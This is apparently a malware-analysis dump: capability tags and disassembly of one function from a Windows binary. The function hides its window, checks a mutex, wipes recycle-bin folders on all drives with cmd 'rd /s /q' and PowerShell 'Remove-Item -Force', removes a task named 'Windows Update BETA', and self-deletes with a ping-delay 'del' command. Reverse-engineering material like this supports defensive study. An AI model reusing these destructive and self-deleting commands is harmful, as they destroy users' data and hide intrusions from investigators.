Function at 0x406f60
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Empty the recycle bin
Hide graphical window
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x808
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x42b230], 0
jne 0x406fa9
push 0
push 0x400000
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x42b230], eax
test eax, eax
jne 0x406fa9
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x42b230], eax
call fcn.00405400
call fcn.004010e0
cmp dword [0x4291ac], 0
jne 0x406fe5
push str.GlobalJarjetsMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x4291d4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x406fe5
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00404f40
call fcn.00404b80
call fcn.004053a0
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov esi, dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
push 7
push 0
push 0
call esi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_rd__s__q_P:_RECYCLE.BIN_Q:_RECYCLE.BIN_R:_RECYCLE.BIN_S:_RECYCLE.BIN_T:_RECYCLE.BIN_U:_RECYCLE.BIN_V:_RECYCLE.BIN_W:_RECYCLE.BIN_X:_RECYCLE.BIN_F:_RECYCLE.BIN_G:_RECYCLE.BIN_K:_RECYCLE.BIN_L:_RECYCLE.BIN_M:_RECYCLE.BIN_N:_RECYCLE.BIN_O:_RECYCLE.BIN_Y:_RECYCLE.BIN_Z:_RECYCLE.BIN_A:_RECYCLE.BIN_B:_RECYCLE.BIN_C:_RECYCLE.BIN_D:_RECYCLE.BIN_E:_RECYCLE.BIN_H:_RECYCLE.BIN_I:_RECYCLE.BIN_J:_RECYCLE.BIN
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_rd__s__q_P:Recycler_Q:Recycler_R:Recycler_S:Recycler_T:Recycler_U:Recycler_V:Recycler_W:Recycler_X:Recycler_F:Recycler_G:Recycler_K:Recycler_L:Recycler_M:Recycler_N:Recycler_O:Recycler_Y:Recycler_Z:Recycler_A:Recycler_B:Recycler_C:Recycler_D:Recycler_E:Recycler_H:Recycler_I:Recycler_J:Recycler
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Remove__Item_d:_RECYCLE.BIN_c:_RECYCLE.BIN__Recurse__Force
push str.cmd.exe
push str.open
push 0
call edi
call fcn.00404ff0
call fcn.00405070
call fcn.00405790
call fcn.00406e20
push 7
push 0
push 0
call esi
push 0
push 0
push str._c_rd__s__q_P:_RECYCLE.BIN_Q:_RECYCLE.BIN_R:_RECYCLE.BIN_S:_RECYCLE.BIN_T:_RECYCLE.BIN_U:_RECYCLE.BIN_V:_RECYCLE.BIN_W:_RECYCLE.BIN_X:_RECYCLE.BIN_F:_RECYCLE.BIN_G:_RECYCLE.BIN_K:_RECYCLE.BIN_L:_RECYCLE.BIN_M:_RECYCLE.BIN_N:_RECYCLE.BIN_O:_RECYCLE.BIN_Y:_RECYCLE.BIN_Z:_RECYCLE.BIN_A:_RECYCLE.BIN_B:_RECYCLE.BIN_C:_RECYCLE.BIN_D:_RECYCLE.BIN_E:_RECYCLE.BIN_H:_RECYCLE.BIN_I:_RECYCLE.BIN_J:_RECYCLE.BIN
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_rd__s__q_P:Recycler_Q:Recycler_R:Recycler_S:Recycler_T:Recycler_U:Recycler_V:Recycler_W:Recycler_X:Recycler_F:Recycler_G:Recycler_K:Recycler_L:Recycler_M:Recycler_N:Recycler_O:Recycler_Y:Recycler_Z:Recycler_A:Recycler_B:Recycler_C:Recycler_D:Recycler_E:Recycler_H:Recycler_I:Recycler_J:Recycler
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Remove__Item_d:_RECYCLE.BIN_c:_RECYCLE.BIN__Recurse__Force
push str.cmd.exe
push str.open
push 0
call edi
call fcn.00404ff0
call fcn.00405070
call fcn.004052b0
push dword [0x428788]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x4291bc
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push str._c_SCHTASKS.exe__Delete__TN__Windows_Update_BETA___F
push str.cmd.exe
push str.open
push 0
call edi
cmp dword [0x4291ac], 0
jne 0x407126
push dword [0x4291d4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [0x4291d4]
call esi
cmp dword [0x4291b4], 0
jne 0x40717f
cmp dword [0x4291b8], 0
jne 0x40717f
push 0x104
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x214]
push str._c_ping_127.0.0.1__n_5___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x210]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]